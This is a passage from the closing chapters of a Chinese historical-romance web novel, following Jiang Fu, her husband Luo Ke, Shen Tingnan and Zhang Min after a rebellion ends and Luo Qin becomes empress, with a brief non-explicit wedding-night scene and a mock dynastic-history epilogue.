她难过垂头:“怎么就变成这样了呢。” 蒋芙道:“我就对她就没什么好印象。头一次在家那边见到她,只看到隆重的仪仗, 她风风光光陪在沈听南身边排挤我,动不动在耳边说什么悄悄话看着我笑,她在沈听南家住的那段时间,我连家门都不想出。” 骆沁不知接什么话好。 蒋芙笑道:“不用这样想着办法安慰我,都过去了。有什么看不开呢,我当时也没少还嘴呀,不过是吃吃不自量力的苦头罢了,哪里就到恨她要死的地步。” “想着跟她说说开导的话,结果是个油盐不进……”的东西。 她把后半句话咽下去,不至于太不恭敬。 另一头,蒋芙与骆沁在狱中的探视记录传到了魏琪手上。 起初他看着骆沁天真温软的言语,即便隔着文字,心里也有淡淡的治愈——然后他看到了蒋芙的那句话。 “……” “好大的胆子!” 他将纸折摔到书案上,气愤地来来回回踏步。 可真敢说啊,这个蒋芙!天家的事,什么时候轮到她来置喙! 怒气过去,又忍不住笑。 这就是骆岢选的女人。直心肠,一根筋,有权衡利弊的心眼,但更愿意为一腔热血掉脑袋。 虽说荒唐,但有时身处上位,遇到这种没坏心的人解闷也不错。 他身边更多是见他生气就跪在地上发抖的人。今年开始,这种人越来越多,是身为皇帝应有的待遇。 也该养些真性情的臣子在手下了,不然这万里江山着实孤独。 沈听南来探望骆沁的伤势,太医说已好了六七分,剩下的熬过这个春天就能痊愈。 她放了心,将外人送走,受到小女孩景仰的目光。 “听南姐,我听说你的事了,你怎么这么厉害,文王党能这么快铲除干净都是你的功劳!” 沈听南笑里发苦,但也只是一瞬间,她恢复了正常的样子:“不过是传了几封信。” 骆沁看出她不愿提及,便又聊了其他事,问她洛城那边的战况。 沈听南看着一旁默不作声翻书的蒋芙,道:“尤茂受伤,如今是张闵与白明旭领兵。” 听到张闵的名字,蒋芙抬眼,与她对上视线。 “北方的援军杀戮大半,接下来便只剩攻城。” 骆沁失神:“我爹他……” 沈听南道:“你何不求陛下留你爹一命?” 骆沁抓了抓被子:“可行吗?他……他会听我的吗?还是让我哥去?” 沈听南笑道:“你哥去,你爹便真没有活路了,这事只有你出面合适。” “有些时候你要承认男人和女人在政治中的角色,你哥虽不涉政事,但到底是男人,他去求,只会让陛下觉得你们在挟恩图报,图谋不轨。但你去的话,就只是女人对他的示弱,是你们之间的儿女私情,他心情好,说不定就随口答应了。” 她将手帕对折叠整齐:“毕竟有事相求,对他态度软些又能如何?不要跟一些人在一起相处久了,净学那些愚蠢的骨气。” 蒋芙:“……” 她将书撇到一边:“沈听南!你说谁愚蠢呢!” 沈听南像是怀念一般,对她绽放笑脸:“又没有提芙芙的名字,怎么就自己来认了?” 她朝蒋芙伸手:“好久不见了,过来让我抱抱?” 蒋芙:“……你疯了?” 沈听南微笑盯着她:“开个玩笑,这就算疯了?” 她离开时,蒋芙出门送。 沈听南目不转睛看她,邀请:“闲来无事,要喝一杯吗?” 蒋芙被她看得不太自在,但又能从她完美无暇的面容之下看出她的疲惫,仿若溺水之人伸手,试图抓住她的浮木。 “我不会喝。” 沈听南牵她,将手牵在掌心看她掌纹:“陪着我喝,好吗?” 蒋芙点点头。 她叫住宫女给骆岢留话,说自己去沈听南家里住一晚。 很久没有坐过她的马车了,又是在如此奇异和平的情况下。 蒋芙的手还被她攥着,她双手冰凉,眼眸虽在笑,眸色却很痛苦,她看得懂那种痛苦。 她问:“这辆马车是御赐,很久之前你就是陛下的人了吗?” 沈听南道:“算是一个赏识的契机?不过我之前没想过做这种事,是想往上爬不错,但没有这般爽快。你不记得了?我之前跟你说我想嫁公子岢。嫁给那么风光的男人,我也一定会在青史留名。” 蒋芙道:“你如今凭自己在青史留名,比嫁一个什么人要有分量多了。” 沈听南将她的手贴在脸上:“可是很难过啊,很难过。” 她说:“他死的时候,我就在旁边看着。他好像早就知道我做的事,却没有杀我,明明他都被我害死了。” 蒋芙道:“他是被自己的野心害死的。你何时也变成了优柔寡断的性子?在我心里,你是最坚信为志向付出代价的人了。” 沉默片刻,蒋芙道:“我懂了,你想要的东西。” 她别了一下沈听南的鬓发,目光坚定明亮。 “沈听南,你没错。成王败寇,你没必要承担别人野心的代价。不要把你那丁点大的良心用在那些人身上,实在无处安放,就对我好点,不是还有活着的人?” 沈听南目光灼灼。 蒋芙回避视线,听她悠悠道:“对你好的另有人在,我只负责欺负你就好了。芙芙,天底下只有我能欺负你,是不是?” 蒋芙不满道:“什么叫只有你能欺负我?你什么时候把我欺负了?” 沈听南笑眯眯把手腕上的镯子摘下来,放到蒋芙手里:“要戴戴看吗?” 蒋芙表情无语:“我可不想跟你叙这样的旧。” 但她还是老老实实戴了,尺寸是合适的。她拿到光线下瞧,白玉里透着浅淡的粉,像是—— “像不像芙蕖?”沈听南问。 蒋芙触摸光线之下剔透的镯子,真美的颜色。 “像。” 她转身从包里拿出一个匣 子:“这是我要送你的东西。本想祝贺你荣封司绩女官,不曾想被你先送了礼物。” 沈听南将匣子打开,里面绸缎内封,放置着一个司南。 这是辨别方向的工具,方便她外出巡查办公,算是用心的礼物。但沈听南情愿从字面上理解:“芙芙在表达对我的思念吗?” 蒋芙愣了一下,反应过来她说的是“思南”。 她失笑:“就当是这样?说不定有天我真的会思念你。” 沈听南道:“到那时,我会拿着它寻找你。” 蒋芙朝她晃了晃手腕,玉镯向下将她套牢:“那我就戴着它等你?” 两人相视而笑,像遥远的小时候一样。 到了府邸,沈听南问侍女要了壶热酒,让蒋芙点菜。 蒋芙吃过饭来的,只要了几碟甜品。 酥山上桌,她拿汤匙挖着吃。沈听南仰头喝酒,笑看她抱着点心。 “小时候你就爱吃这些,每次我到你家都能吃上几口,我记得你娘做的桂花糕最好吃。” “是啊,没什么做的,只好在吃上下功夫。我娘死后,我再没碰过别人的桂花糕。” “葬礼办过了吗?” 蒋芙道:“我舅舅说,人死那么久就不要再办了,会打扰到我娘的。” 她转了转勺柄:“我娘如今也快周岁了,是不是都会走路了?她抓了什么周呢?” 沈听南问:“你当时抓的什么?” 蒋芙笑道:“抓的元宝。抓住了就不还,族长心疼坏了,还得装作大方送给我。” “你呢?” 沈听南道:“巧了,我抓的也是元宝。” “真的?” “是啊,长大听我娘她们闲聊才知道,他们一直骗我抓的是诗书。” “我们小时候还做过肥皂。” 沈听南笑了:“是你说的‘肥肥的皂角’?” “嗯,当时拿的是你家的猪油,我还记得你娘张罗抓小偷的事,后来还真把手脚不老实的人给抓住了。” “做出来的‘肥皂角’还挺好用的。” 蒋芙道:“多亏了你,你做什么都能做成,怪不得你那时候嫌弃我。” 沈听南无奈:“我那时也是闹别扭,张闵不是回来了?你明显更喜欢他。咱们玩什么你都带他,回家也是你们一起回的。我就故意在背后说那种话,其实知道你在听。” 蒋芙道:“真不懂你,你那时候要是跟我说你吃醋,我不知道有多开心,肯定就把张闵抛到脑后了。” 沈听南道:“我说得出口,就不是我了。” 蒋芙笑:“也对。” “那你之后故意接近他?” “想让你讨厌他,反正你已经讨厌我了。” “之后还故意跟我作对,捉弄我?” “不想让你忘了我。” 蒋芙提了口气,最后轻轻放下:“算了,我也没让你多好过。” 沈听南道:“是啊,我一直不好过。你不知道我有多想你。” “你醉了?” “只有男人才会把酒醉当作胡作非为的借口。”沈听南又喝了一杯,烧酒见底,“我只是有些兴奋,想和你多说说话,说些我想说,你也爱听的话。” “芙芙,你让我抱抱吧。” 蒋芙往桌案后退,留出空间让她抱住。 她摸摸沈听南的头发,道:“没事的,你且向前走,身后有我相信你,支持你,其实我一直好崇拜你的。” “不过你得小心你的小命。俗话说的好,伴君如伴虎……” 沈听南哼笑:“谁要伴他?不过是选了利益一致的路而已。芙芙猜,若此番文王势大,我会不会联洛阳、打长安?” 蒋芙道:“以后不要说了。” “我只和你说。” 沈听南从她怀里起身,望着她:“和骆岢如何?” 蒋芙道:“很好。” 沈听南道:“他那人除了容貌好,没什么出息,你选他其实不如选张闵。” “我不需要他有什么出息。” “这么喜欢?”沈听南有些轻蔑,“想过以后你受什么委屈,他帮你出头然后一起挨揍的样子吗?” 蒋芙想了想,笑:“还真有可能哎。真到那种时候,我就站出来保护他吧。谁让我家夫君手不能提,肩不能扛,弱柳扶风,只擅诗书与容颜呢。” 沈听南冷哼:“真嫉妒他。” “对了,你在哪里学的武?我也差不多练练身手了,为了不让我们一起挨揍。” 【正文完】 第60章 第 60 章 正文完结。 骆沁将沈听南的话听了进去, 不知背后如何与魏琪说情,总之两人正式进入恋人状态,氛围转缓,天气都明朗许多。 蒋芙和骆岢吃着饭, 门帘被骆沁掀开, 小女孩眉开眼笑钻进屋里, 将人带到面前叫哥哥和嫂子。 魏琪很尴尬:“哥哥, 嫂子。” 骆岢:“……” 蒋芙:“……” 魏琪咳了声, 自己找凳子坐下受了两人的礼,说以后的事。 “等平了洛城, 我娶沁儿为后,那时你爹若活着,可留他一命,但爵位不能留。” 骆沁原本站在他身后搭着肩膀,听到这些话,惊讶跑到他眼前:“你要让我当你的皇后?皇后?我可以吗?” 她虽这样问着,眼神却饱含了恋慕的希冀,闪着明亮的光辉。 “自然。”魏琪斜着勾起嘴角,“且除了你, 没人能做我的皇后。我要给你最盛大的婚礼, 让你做天下最风光的女人。” 说着, 他分骆岢一个眼神:“届时封你为景阳郡公,准你在长安立府, 封你女人为郡君,同赏食邑。” 骆岢再度叩首:“臣无德无能,不配受此封赏。” 魏琪道:“赏你爵位是给你妹撑场子的,你拒绝什么?” 骆岢不甚赞同看了骆沁一眼, 不再言语。 又闲聊几句,魏琪便回去处理政务了。 骆岢脸色阴沉,问妹妹是否认定此人。 除了他与蒋芙,室内没有其他人在。骆沁已然褪去了那层少女含羞的笑容,平静道:“哥哥,我已走到这一步,认不认定都只能如此。你难道以为他会宽宏大量到让我离开长安嫁给别人吗?” “这样挺好的,我以后做皇后,能保护你们还有爹爹。不然我能怎么样呢,也没什么喜欢的人了。” 蒋芙感到心痛。如果她当时问清楚骆沁喜欢的人是谁,也许能提前和骆岢通气,阻止她沦陷下去,也不至于今天为家人牺牲自己。 但若想开点,什么算做牺牲呢? 她马上要成为全天下最尊贵的女人,就算父亲谋反也能保他不死,给哥哥也庇佑了一层享不尽的荣华富贵。 除了丈夫的人选不太称心以外,这是一桩挑不出错的好婚姻。 与其之后所嫁非人,或时运不济,过上穷困潦倒的日子,不如这样嫁给魏琪做皇后。 魏琪相貌不错,为人目前来看还算有情有义。就是有点城府,身为帝王,倒也不是不能忍。对付着过下去也不是不行。 骆岢沉默不语,但蒋芙大概知道他在想什么,估计在想与其牺牲妹妹,不如让老父亲直接死在战场上算了。 但也是气话。他们父亲对子女似乎算是不错的,比蒋文行是人很多。 蒋芙又去骆沁房间说话,言谈间,她已经彻底想明白自己要做什么了。 “我做不成芙姐,总还有听南姐的路能走。等到我的孩子坐上那个位置,我的自由也许就来了。虽然晚了点,虽然费的心力会大点,但我到时候享受到的人生一定比芙姐和听南姐要精彩百倍千倍,想要什么样的小郎君都能叫进宫里侍奉,这样不是也很好吗?” “是啊,到那时沁儿权势通天,想要什么有什么。只是……” “芙姐不用担心,我会藏好这些心思的。有些时候真话和假话掺半,就算再精明的人也分辨不出来。我在宫里也不会难过,星星在呀,芙姐和哥哥也会常来看我,对不对?而且,我娘生前就住在这宫里,我不曾报答过她的生恩,以后在这宫里生活,也算是告慰她的亡灵了。” “……” 蒋芙抱着她流泪。 三月 三,上巳节。 这一日,在大齐算作情人节一般的日子。人们前往水边祓禊,男女老少盛装出席,春游踏青,传颂情谊。 同一天,洛王兵败,骆呈夜废双腿,入长安诏狱,贬为庶人身份。尤茂给予的判状是受奸人蒙蔽,奸人名单一长串,乃是四面八方的世家。 将其铲除,势必要扶植新秀。白明旭成了朝中炙手可热的人物,婚姻状况被许多人关心。张闵在讨伐洛阳时也备受瞩目,魏琪本打算封他为兵部尚书,但他拒绝了。 “我不会。” 魏琪抬了抬眉毛。 尤茂恨铁不成钢:“哪有人天生就会呢?” 若张闵受封,加上白明旭,朝中过半武将都是他的子弟。 张闵道:“我有想做的事。” 魏琪仰头大笑,笑毕,赏他万两金银。 “送你做剑鞘!” 骆岢去见了父亲一面,回来久不发言。 骆呈夜并非双腿负伤,那伤口整齐,实乃人为。并不难理解,舍去双腿是魏琪留他性命的代价。但是骆岢看出了父亲的意图,他内心觉得活着受辱,不如在城破之时死去。 他和父亲聊了母亲的事。 父亲神情冷漠,反问他为什么要说这些,是要他感激魏琪的恩德吗? 也许母亲被先帝夺走是他谋反的诱因,但那只是很小的一粒种子。真正支撑他暗通款曲、自立门户的是他的野心。他被皇权重创,于是想要这至高无上的权力掌握在自己手里。 何必呢。 骆呈夜铩羽而归,长安城里都紧盯着骆府的风向,忧心自己过去对骆岢的殷勤。 但魏琪并没让他们担忧太久,第三日就下了册封皇后的诏书。 他许诺骆沁的都做到了。保了她父亲的命,赐她家族荣耀。成婚当日,免三年田租地息,天下同喜。 她在宫墙之上,身穿绘有翟鸟的深青色祎衣,头顶华贵璀璨的凤冠,受百官朝拜。这是大齐开国以来第一位恩泽万民的皇后,天子给了她荣光、宠爱,还有那么一点似有若无的真心。 妹妹成婚了。 当晚,骆岢留在宫中参加婚宴。 蒋芙把他爹推出来转悠几圈。 “老人家,闻闻,这是你女儿成婚点的庭燎,大火炬,半边天都亮了,多喜庆。你说你,要不做这糊涂事,是不是也能到女婿面前训训话?” “哼。咳咳咳……” 蒋芙拿帕子堵鼻子,“好像是有点呛,不愧是皇后啊。” “人生,哭笑都是一天。你也想开点,别辜负你儿女的好意,一天到晚绷着个脸,你要是我爹你就死外边了。” “……你给我滚!” 正走在桥上,蒋芙闻言,有意把推车往河下倾斜几分,将骆呈夜脸都吓白,紧抓着扶手不放。 蒋芙偷笑着将推车扶正,道了句歉。 “骆岢他爹,还用不用我滚了?我有好几种滚法,就是你遭点罪,因为我就算滚着也得推你回家,不然你儿子管我要爹怎么办?” 看出要将人气得吐血,蒋芙收了愚弄的心思,叹了口气。 “后悔吗?你如果没造反,你现在还是洛郡公,神都洛阳是你的封地,钱财权势若江水东流,而不是现在被不孝的儿媳妇欺负。” 骆呈夜没理人,他回来以后就是这副态度,不把蒋芙放在眼里。时不时骂两句都算把她当人看。当然,蒋芙也没有给他身为人的尊重,对待给脸不要脸的人,她有一万种方法磋磨。 天子大婚,长安解除宵禁。 蒋芙推着他在外面溜达了一圈,慢慢转回府上。 将要进门的时候,听到他的声音。 “江水东流入海。我这一生,为此事筹谋,不曾后悔。唯一后悔的只有当日中计,洛阳失守,败在一个无名小卒的手里。” 他抬眼,那位“无名小卒”正蹲在他家门口,像狗一样沉默盯他儿子的媳妇看。 “……” 蒋芙瞧见张闵,无不欢喜:“你来了?站起来我看看!” “瘦了瘦了,不过也壮了。” 张闵拍了拍她的头,声音有几分笑意:“高了?” 蒋芙道:“可不,高了。” 骆呈夜愤怒道:“蒋氏!他是你什么人!你把阿岚置于何地!竟敢当着我的面与他私会,你这个……!” 蒋芙佯装恐吓:“再哆嗦,就把你毒哑!” 骆呈夜怒吼:“毒妇!毒妇!” 她别开头,对着张闵笑。 小赵神情复杂地将骆呈夜接手,推进家里。蒋芙和张闵则又出门闲逛叙旧。 “好些日子不见,可有受伤?” “养好了,才来见你。” “你真是……”蒋芙叹息一声。 说不让他受伤,他能听进去,但也只有交差的时候才会想办法应对。她的本意是让他小心不要受伤,没想到却变成了另类逼迫他的一种。 “我听说你也不要尚书郎?” “也?” 蒋芙道:“上一个是木兰。” 她提着脚下的石子,给他背《木兰诗》。 张闵听得很认真,有小孩捏着糖人跑撞到他身上,他才被撞回了神。 小孩调皮呲牙:“天黑带着小娘子出门,不知羞!” 蒋芙跟他对付:“小孩子家家就说这种话,你才不知羞!” “你欺负小孩!” “你还嘲笑老实人呢!” 叉着腰把小孩瞪走,蒋芙也在路边买了两根糖人,是两只小蝴蝶的图案。 她拉着张闵坐到道旁的石阶上吃,丝丝甜意化在渐暖的晚风里。 “你还没说为什么不做尚书郎呢,兵部尚书跟木兰那时候的尚书台不一样,可是有实权的。” 张闵含着糖人,目光投向远处,道:“我想好了要做的事。” 蒋芙很好奇:“是什么?” 张闵转头过来:“我想在你身边,保护你。” 蒋芙被他看得脸红:“可是我嫁人了。” 张闵将视线撇开:“我做你的护卫,保护你,保护你的家人。这是我想做的事。” “人要死很容易,利器入腹便必死无疑。我没什么想要的,如今只想看着你,保你性命无虞。” “即使我给不了你任何东西?” “我不想要任何东西。” 蒋芙沉默下去。 张闵也默默吃他的糖人。 良久,蒋芙开口:“我之前跟你说过,我其实很自私,我也很想你陪在我身边,就算我回应不了你的感情,喜欢别人,我也想你陪着。” 她对他笑,眼中有泪意:“你自己送上门对我好的,我可就逮住你割韭菜了?” 张闵抬手拭她眼角,问:“割哪的韭菜?” 蒋芙的感动凝固了:“我说你是韭菜。” 他递剑:“要割吗?” 蒋芙把剑推进剑鞘:“不要!” “你真是够了。你怎么……” 她两手捂脸,哭了起来。 “为什么你之前什么都不说呢,你如果说了,我就不至于这么对不起你了。” 蒋芙哭了一会儿,平复了心情,被张闵拿着金块逗她开心。 金块在她眼前晃悠,晃了几下,便塞进她手里。 仿佛取之不尽,用之不竭。他塞了大约十几块,蒋芙两手兜不住了,也就真的不伤心了。 “都送我了?” “都给你。” “你以后娶媳妇还要用呢,别都给我了。” “我不娶。” “……呜呜。” “别给我了,我抓不住了,好多金子,我都难过不起来了。” “不必难过。” 张闵走在她身边,露出皓月一样柔和的笑意。 “我爱你,想让你开心,而不是痛苦。” 蒋芙捂住耳朵,心脏怦怦跳。 “不要说了……” 等在府门口的骆岢冷冷盯着张闵,视线转向蒋芙,又勉强露出笑。 “芙芙,你去了哪里?” 蒋芙道:“我和张闵出去走了一圈,吃了糖人。” 她把剩下那一半塞给他,越过他吩咐小李她们:“你们帮张郎君收拾一下之前的屋子,以后他也在咱们家住了。” 骆岢牵住她手:“芙芙……” 蒋芙回过神来,这到底还是他家,于是忐忑道:“可以吗?不可以的话,也不用跟咱们住在一起的。” 骆岢被她商量的语气给刺伤了。天色太黑,蒋芙没有注意到。 她把怀里的金子 重新还给张闵:“你拿着这钱去找房子,买一个跟我近点的,我现在没有危险,你不用时时刻刻保护我,白天我没事就去看你。” 骆岢打断:“不必,让张郎君住之前的院落吧。” 他微笑,仿佛很有气度的样子,但张闵看到了,他分明恨得牙齿都在打颤。 “家里地方够用,怎能让贵客住外面的道理,毕竟是夫人重要的家人。” 蒋芙跟着点头:“对对,家里有地方,何必花没必要的钱?” 她把金子又揣进怀里,拍了拍。其实刚刚拿出来她还有点舍不得,这可都是金块啊!好在骆岢是通情达理又善解人意的人。 蒋芙跟张闵挥手:“那今天就到这,你回房间休息吧,我也要休息了。” 张闵于是也抬手朝她挥了挥。 蒋芙挽着骆岢的手回房间,说今晚遇到他的事。 “他说还想要保护我,怎么会有这么好的人。” 骆岢心想那人哪里是好心,分明是贼心不死,妄图伺机上位。但他不想跟蒋芙抱怨这些,像是他多么妒忌一般。 可……他就是很妒忌,妒忌得快要疯了。 他要怎么跟张闵比呢。他和芙芙从认识到现在,都不如他们朝夕相处的十分之一。 “宫中情况如何?沁儿还开心吗?” “……” 蒋芙发觉他的沉默,心提了起来:“沁儿不开心?” 骆岢将门关好,眉睫垂落,凄凄惨惨。 “芙芙心中,沁儿亦比我重要吗?有时真的不太清楚,究竟谁是你的夫君。” 蒋芙:“……” “天啊,你吃你妹的醋?” 她笑得歪头,两手捧他脸揉搓:“我的骆郎,怎么连妹妹的醋你都吃?” 骆岢微微躬身,让她触碰得更容易些。 “不止吃妹妹的醋,还有他……” 他将蒋芙抱在怀里,低声道:“我回家时分外想你,却不见你影子。听父亲说你与别的男人私会,你可知我的心情?” 蒋芙深吸一口气,好像!是不太好! 错了错了! 她总是这样,把张闵当自己人,她跟其他男人相处时都很有分寸的! “对不起啊,我以后不会了。以后我跟他说话都带你一起,好不好?别难受了。” 她顺了顺他的胸口,软着眼神哄他消气。 “还要说话吗?不能让他走吗?” “我们之后不是要出门游历?有张闵在就没人欺负咱们了。你放宽心,把他当咱们大哥,我真的只喜欢你一个,你得相信我。” 骆岢低头吻她:“我相信你。” “今夜是钦天监推算的好日子,夫妻敦和,顺应天时,我们是不是……” 蒋芙被他啄吻直闭眼:“那我去取做的套来。” 她到药室把和几个大夫一起做的套拎过来,与骆岢一起坐在灯下研究。 “我大致目测的尺寸,不知道合不合适。” 她拿一个递到他唇边:“你吹一下,看看漏不漏气。” 她说什么,骆岢照做什么。 蒋芙自己不想吹,觉得到底是肠皮,有点嫌弃。 骆岢唇红齿白的,即便吹那种东西,都十分赏心悦目。因为东西的隐秘性,又使他多了几味禁、忌的美感。 “有漏气的吗?” “无。” 蒋芙便一手撑脸,一手解他衣带。 腰带松散落地,外衫敞开,露出里衣。抽丝剥茧,直到最后一层也落地。 她把东西戴好,上下左右检查。 骆岢隐忍着呼吸,望她的目光近乎吞噬。 好想。 蒋芙抬头,并不如她举动般理直气壮,脸颊发红。 他们先是接了一个与之前不太一样的吻,然后渐渐地进入。先前塞在怀里的金块咕噜咕噜滚到地上,蒋芙敞着衣襟捡,被骆岢一把捞起来,抱入床榻放下。 这事,其中滋味,并不如蒋芙想象中美妙。他倒是体验良好,一轮接着一轮,文弱的劲用不净般。 蒋芙稍微装了两下,闭眼睡了。后续除去他给她洗澡的时候惊醒一回,初夜就这么睡了过去。 第二天,除了有些隐隐的不适,倒也还好,就是走路要慢慢的。 日间,骆岢愈发柔情似水,见到她便要黏上来,摸摸脸,勾勾手。 真要对视又兀自羞涩,蒋芙撵着他眼睛看,将人看得掩面逃走,和小李小赵对着笑。 到了晚上,早早的吃完饭,又开始钻研这事。 蒋芙抓他头发:“没出息,你妹妹嫁进宫里,就一眼都不管?” 他的吻停了停,有些无奈:“芙芙,非要这种时候说我妹妹吗?” “你……不舒服?” 蒋芙起了兴致:“你很舒服?” 骆岢颔首,咬她:“神魂颠倒。” 蒋芙攥住他,皱眉:“凭什么?你想想办法,凭什么就你自己尽兴?” 骆岢屏了一下呼吸,将头埋她颈窝,笑:“芙芙……” 他吻了下她锁骨,颈侧,脸侧。 “我想想……”- 蒋芙进宫陪骆沁解闷,两人逛来逛去,去到了设在宫中的史馆,骆沁屏退其他人,两人靠一起翻书看。 一直到唐以前,在这个时空都是有史可依的。蒋芙看着上面熟悉的人名,不禁用指腹触摸,似乎这样就能与自己原来的世界产生联系。 骆沁用脑袋蹭她:“芙姐,你看,这卷还有我们的名字呢。” 蒋芙凑近看,是他们的名字不错。 这段史记载的是安熙六年天子平定天下,还有立后大典的事。 册封的旨意被誊录在史书上,记了他们的名字。 以及一些零碎的手稿,看样子是随时笔记,随时整理的。 她翻到了有关她的笔墨。 【正月辛巳,蒋氏女适洛郡公长子岢。】 “……” 蒋芙面色怔忡。 这是沈听南之前说的青史留名吗? 绝对不是。 她在这笔无足轻重的记载上,是作为一个配偶名字出现。 沈听南定不屑于此。 她自己呢? “芙姐?” 蒋芙将纸条塞回书里,道:“沁儿,我不日便要远行了。” 骆沁道:“我听哥哥说了,你们要出去玩。一定一定要记得给我写信呀!” 蒋芙笑道:“会的,一定记得给你写信。” 她将这本未成的史书放回去,道:“总有一天,我要这上面记一篇我的传记,让你哥给我作配。” 骆沁微微一愣,随即笑开,将她紧紧抱住。 “我相信,会有那么一天的,芙姐。” 蒋芙离开长安后,先走洛城,报最后一个仇。 她敲开崔府的门,直言要找崔元香。 管家将她引进去,随后又去叫在院子里练武的娘子。 崔元香纳闷谁来找她,见到蒋芙,愣了一下,眼睛红了。 洛城才经战乱,一派疲敝,许多故人都死了。 能见到蒋芙,怎么不算旧友重逢? 蒋芙朝她摆出架势:“来,打一架!之前你把我打得那么惨,现在我学成来找你报仇!” 崔元香便也抛去那些多愁善感,展颜:“好啊!让我看看你身手长进多少!” 蒋芙当然打不过从小习武之人,但是没有全然被碾压挨揍,也算解了心结。 她离开时,崔元香恋恋不舍送:“真的不留下住几天吗?我马上要嫁北边去了,也许以后再也见不到了。” 蒋芙对她笑:“你若想我,就来一封信,我可以去看你。” 崔元香边抹眼泪边追马车:“过去是我对不起你,我欺负你玩,你别和我计较,我就跟你和听南熟,你千万别和我计较啊!” 蒋芙扒着马车的车窗,眼睛也有些湿润:“谁说你欺负我了?我不也还手了吗?哪里算欺负,好像我多弱一样!其实我之前还脾气不顺,故意挑衅你!洛城出事,我梦见过你,想见你好久了……” 马车越跑越远,崔元香留在了原地,大喊:“蒋芙!你一定要来找我!” “我一定会找你的!” 终究是远离了。 骆岢道:“我忽然想起,第一次和芙芙面对面遇见,便是处理与那位娘子的争端。” 蒋芙用手帕擦眼泪:“你当时怎么看我的?” 骆岢道:“令人怜惜。” 蒋芙拆穿他:“你胡说,我到现在都记得,你当时看我的眼神就是在看蠢货!我就是从那时候记恨你的。” “多亏芙芙记恨我,不然我该如何是好?” “是啊,多亏你之前那么讨厌,不然我们就不会认识了。” 蒋芙靠他怀里:“我打算写一本地理志,反正干玩也是玩,我们记载一些有用的东西。你文采好,又会画画,描绘景色就交给你了,我来测量数据。你相信我,这绝对有用!成书以后会流芳百世的!” 骆岢握她手:“好啊,都听你的。” 蒋芙又掀开车帘跟张闵说她的志向。 骆岢轻咳了两声,蒋芙立刻回头:“是肺疼吗?我们要不要停下歇歇?” “芙芙让我靠一会儿吧……”- 《齐书·蒋芙传》选段: 芙与其夫遍历山川,作《地理志》。其夫绘图写景,工笔精妙,然芙专记数,度以足量远,测以掌量高,清奇可爱,寓少女之妙趣。所志山川形势,精审可信,后人称其记载虽简,然实为至妙,尤为神往焉。 =====正文完=====